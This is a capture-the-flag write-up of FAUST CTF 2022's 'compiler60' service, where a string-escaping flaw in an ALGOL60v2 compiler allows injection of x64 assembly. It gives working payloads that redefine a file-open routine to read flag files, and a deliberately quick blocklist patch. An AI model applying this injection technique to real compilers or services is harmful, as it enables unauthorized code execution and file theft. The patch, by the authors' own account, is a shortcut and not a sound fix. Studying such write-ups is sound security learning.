FAUST CTF 2022: compiler60

The service takes ALGOL60v2 code, compiles it and runs it. In the compile step, the code is parsed to an AST and this AST is used to generate x64 assembly. This assembly is then assembled and linked to a binary, which gets signed and returned to the user. In the execution step, the server expects a signed binary. If the signature is valid, the binary is executed in a sandboxed environment.

When converting the AST to assembly instructions, string literals are not escaped correctly. The ALGOL60v2 code

1
2
3
4
s := "\\"
.text
mov rax, 1337
#\\"";

will result in the assembly code

1
2
3
4
.asciz "\\"
.text
mov rax, 1337
/*\\""

As demonstrated, it is possible to escape a string literal context and inject (almost) arbitrary assembly code. This can be used to control the behaviour of the resulting binary.

Exploitation

In order to get a flag, we need to read a file from a given file path. The path is /data/<id>, where <id> comes from teams.json. The existing functions for opening files do not allow this, so we will redefine one of them:

1
2
3
4
5
6
7
8
9
s := "\\"
.text
openRO:
mov eax, 0x2
mov esi, 0x0
mov edx, 0x1a4
syscall
ret
#\\"";

The new openRO function will call the open syscall with a file path and the O_RDONLY flag and the rw-r--r-- mode. We can then call this method and read the flag from the resulting file descriptor. The final payload is the following:

1
2
3
4
5
6
7
8
9
10
11
'BEGIN'
outstring(readstring(openRO("/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\"
.text
openRO:
mov eax, 0x2
mov esi, 0x0
mov edx, 0x1a4
syscall
ret
#\\"")));
'END'

During the CTF we used a more verbose version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'BEGIN'
'STRING' s[1000];
'INTEGER' fd;
'STRING' buf[128];
s := "/data/4ab7531eb043cc4b607a311c2040f7d4bf5d6321\x00\\"
.text
openRO:
mov eax, 0x2
mov esi, 0x0
mov edx, 0x1a4
syscall
ret
/*\\"";
fd := openRO(s);
buf := readstring(fd);
outstring(buf);
'END'

Patch

The best patch would have been to correct the AST parsing, but it is a CTF challenge and we were lazy, so we just blocked \\". Since that broke one of the examples, we allowed \\\". This was the patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
diff --git a/main/java/de/faust/compiler60/CompilerServer.java b/main/java/de/faust/compiler60/CompilerServer.java
index ab7f9a0..06fe1cb 100644
--- a/main/java/de/faust/compiler60/CompilerServer.java
+++ b/main/java/de/faust/compiler60/CompilerServer.java
@@ -46,6 +46,13 @@ public class CompilerServer {
.decode(ByteBuffer.wrap(reqBody))
.toString();

+ if (sourceCode.contains("\\\\\"") && !sourceCode.contains("\\\\\\\"")) {
+ System.out.println("Blocked exploit attempt ---------");
+ System.out.println(sourceCode);
+ System.out.println("---------------------------------");
+ sourceCode = "";
+ }
+
byte[] binary = new Algol60Compiler(sourceCode).compile();

SignedElf signedElf = new SignedElf(binary);